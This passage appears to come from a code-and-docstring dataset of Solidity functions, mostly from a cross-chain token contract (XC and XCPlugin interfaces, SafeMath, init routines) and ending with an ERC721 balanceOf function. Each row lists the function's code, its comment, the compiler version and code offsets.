* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | getPlatformName | function getPlatformName() external view returns (bytes32);
| /**
* Get the current contract platform name.
* @return contract platform name.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
501,
565
]
} | 59,289 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | setAdmin | function setAdmin(address account) external;
| /**
* Set the current contract administrator.
* @param account account of contract administrator.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
692,
741
]
} | 59,290 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | getAdmin | function getAdmin() external view returns (address);
| /**
* Get the current contract administrator.
* @return contract administrator.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
850,
907
]
} | 59,291 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | setToken | function setToken(address account) external;
| /**
* Set the Token contract address.
* @param account contract address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1009,
1058
]
} | 59,292 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | getToken | function getToken() external view returns (address);
| /**
* Get the Token contract address.
* @return contract address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1153,
1210
]
} | 59,293 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | setXCPlugin | function setXCPlugin(address account) external;
| /**
* Set the XCPlugin contract address.
* @param account contract address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1315,
1367
]
} | 59,294 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | getXCPlugin | function getXCPlugin() external view returns (address);
| /**
* Get the XCPlugin contract address.
* @return contract address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1465,
1525
]
} | 59,295 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | lock | function lock(address toAccount, uint value) external;
| /**
* Transfer out of cross chain.
* @param toAccount account of to platform.
* @param value transfer amount.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1670,
1729
]
} | 59,296 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | unlock | function unlock(string txid, address fromAccount, address toAccount, uint value) external;
| /**
* Transfer in of cross chain.
* @param txid transaction id.
* @param fromAccount ame of to platform.
* @param toAccount account of to platform.
* @param value transfer amount.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1956,
2051
]
} | 59,297 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | withdraw | function withdraw(address account, uint value) external;
| /**
* Transfer the misoperation to the amount of the contract account to the specified account.
* @param account the specified account.
* @param value transfer amount.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2254,
2315
]
} | 59,298 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | start | function start() external;
| /**
* Open the contract service status.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
93,
124
]
} | 59,299 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | stop | function stop() external;
| /**
* Close the contract service status.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
188,
218
]
} | 59,300 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getStatus | function getStatus() external view returns (bool);
| /**
* Get contract service status.
* @return contract service status.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
317,
372
]
} | 59,301 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getPlatformName | function getPlatformName() external view returns (bytes32);
| /**
* Get the current contract platform name.
* @return contract platform name.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
481,
545
]
} | 59,302 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | setAdmin | function setAdmin(address account) external;
| /**
* Set the current contract administrator.
* @param account account of contract administrator.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
672,
721
]
} | 59,303 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getAdmin | function getAdmin() external view returns (address);
| /**
* Get the current contract administrator.
* @return contract administrator.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
830,
887
]
} | 59,304 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getTokenSymbol | function getTokenSymbol() external view returns (bytes32);
| /**
* Get the current token symbol.
* @return token symbol.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
976,
1039
]
} | 59,305 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | addCaller | function addCaller(address caller) external;
| /**
* Add a contract trust caller.
* @param caller account of caller.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1138,
1187
]
} | 59,306 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | deleteCaller | function deleteCaller(address caller) external;
| /**
* Delete a contract trust caller.
* @param caller account of caller.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1289,
1341
]
} | 59,307 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | existCaller | function existCaller(address caller) external view returns (bool);
| /**
* Whether the trust caller exists.
* @param caller account of caller.
* @return whether exists.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1476,
1547
]
} | 59,308 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getCallers | function getCallers() external view returns (address[]);
| /**
* Get all contract trusted callers.
* @return al lcallers.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1639,
1700
]
} | 59,309 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getTrustPlatform | function getTrustPlatform() external view returns (bytes32 name);
| /**
* Get the trusted platform name.
* @return name a platform name.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1798,
1868
]
} | 59,310 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | addPublicKey | function addPublicKey(address publicKey) external;
| /**
* Add the trusted platform public key information.
* @param publicKey a public key.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1985,
2040
]
} | 59,311 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | deletePublicKey | function deletePublicKey(address publicKey) external;
| /**
* Delete the trusted platform public key information.
* @param publicKey a public key.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2160,
2218
]
} | 59,312 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | existPublicKey | function existPublicKey(address publicKey) external view returns (bool);
| /**
* Whether the trusted platform public key information exists.
* @param publicKey a public key.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2346,
2423
]
} | 59,313 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | countOfPublicKey | function countOfPublicKey() external view returns (uint);
| /**
* Get the count of public key for the trusted platform.
* @return count of public key.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2543,
2605
]
} | 59,314 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | publicKeys | function publicKeys() external view returns (address[]);
| /**
* Get the list of public key for the trusted platform.
* @return list of public key.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2723,
2784
]
} | 59,315 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | setWeight | function setWeight(uint weight) external;
| /**
* Set the weight of a trusted platform.
* @param weight weight of platform.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
2893,
2939
]
} | 59,316 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getWeight | function getWeight() external view returns (uint);
| /**
* Get the weight of a trusted platform.
* @return weight of platform.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
3042,
3097
]
} | 59,317 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | voteProposal | function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external;
| /**
* Initiate and vote on the transaction proposal.
* @param fromAccount name of to platform.
* @param toAccount account of to platform.
* @param value transfer amount.
* @param txid transaction id.
* @param sig transaction signature.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
3386,
3498
]
} | 59,318 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | verifyProposal | function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool);
| /**
* Verify that the transaction proposal is valid.
* @param fromAccount name of to platform.
* @param toAccount account of to platform.
* @param value transfer amount.
* @param txid transaction id.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
3745,
3874
]
} | 59,319 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | commitProposal | function commitProposal(string txid) external returns (bool);
| /**
* Commit the transaction proposal.
* @param txid transaction id.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
3972,
4038
]
} | 59,320 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | getProposal | function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight);
| /**
* Get the transaction proposal information.
* @param txid transaction id.
* @return status completion status of proposal.
* @return fromAccount account of to platform.
* @return toAccount account of to platform.
* @return value transfer amount.
* @return voters notarial voters.
* @return weight The ... | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
4443,
4601
]
} | 59,321 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPluginInterface | interface XCPluginInterface {
/**
* Open the contract service status.
*/
function start() external;
/**
* Close the contract service status.
*/
function stop() external;
/**
* Get contract service status.
* @return contract service status.
*/
... | /**
* XC Plugin Contract Interface.
*/ | NatSpecMultiLine | deleteProposal | function deleteProposal(string txid) external;
| /**
* Delete the transaction proposal information.
* @param txid transaction id.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
4711,
4762
]
} | 59,322 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* ... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
95,
302
]
} | 59,323 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* ... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
392,
692
]
} | 59,324 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* ... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
812,
940
]
} | 59,325 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* ... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1010,
1156
]
} | 59,326 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPlugin | contract XCPlugin is XCPluginInterface {
/**
* Contract Administrator
* @field status Contract external service status.
* @field platformName Current contract platform name.
* @field tokenSymbol token Symbol.
* @field account Current contract administrator.
*/
struct Admi... | init | function init() internal {
// Admin { status | platformName | tokenSymbol | account}
admin.status = true;
admin.platformName = "ETH";
admin.tokenSymbol = "INK";
admin.account = msg.sender;
admin.version = "1.0";
platform.status = true;
platform.name = "INK";
platform.weight ... | /**
* TODO Parameters that must be set before compilation
* $Init admin.status
* $Init admin.platformName
* $Init admin.tokenSymbol
* $Init admin.account
* $Init admin.version
* $Init platform.status
* $Init platform.name
* $Init platform.weight
* $Init platform.publicKeys
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
1982,
2591
]
} | 59,327 | |||
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCPlugin | contract XCPlugin is XCPluginInterface {
/**
* Contract Administrator
* @field status Contract external service status.
* @field platformName Current contract platform name.
* @field tokenSymbol token Symbol.
* @field account Current contract administrator.
*/
struct Admi... | hashMsg | function hashMsg(bytes32 fromPlatform, address fromAccount, bytes32 toPlatform, address toAccount, uint value, bytes32 tokenSymbol, string txid,string version) internal pure returns (bytes32) {
return sha256(bytes32ToStr(fromPlatform), ":0x", uintToStr(uint160(fromAccount), 16), ":", bytes32ToStr(toPlatform), ":0x... | /**
* ######################
* # private function #
* ######################
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
8341,
8799
]
} | 59,328 | |||
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XC | contract XC is XCInterface {
/**
* Contract Administrator
* @field status Contract external service status.
* @field platformName Current contract platform name.
* @field account Current contract administrator.
*/
struct Admin {
uint8 status;
bytes32 platformN... | init | function init() internal {
// Admin {status | platformName | account}
admin.status = 3;
admin.platformName = "ETH";
admin.account = msg.sender;
lockBalance = 344737963881081236;
token = Token(0xf4c90e18727c5c76499ea6369c856a6d61d3e92e);
xcPlugin = XCPlugin(0x15782cc68d841416f73e8f352f... | /**
* TODO Parameters that must be set before compilation
* $Init admin.status
* $Init admin.platformName
* $Init admin.account
* $Init lockBalance
* $Init token
* $Init xcPlugin
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
979,
1355
]
} | 59,329 | |||
Sixzeros | contracts/ERC721B.sol | 0xb9aedc39d3371f1b169329faff3ea90255700840 | Solidity | ERC721B | abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
// Mapping from token ID to owner address
address[] internal _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _token... | balanceOf | function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(owner != address(0), "ERC721: balance query for the zero address");
uint256 count = 0;
uint256 length = _owners.length;
for (uint256 i = 0; i < length; ++i) {
if (owner == _owners[i]) ++count;
}
return ... | //public | LineComment | v0.8.11+commit.d7f03943 | {
"func_code_index": [
679,
1037
]
} | 59,330 | ||||
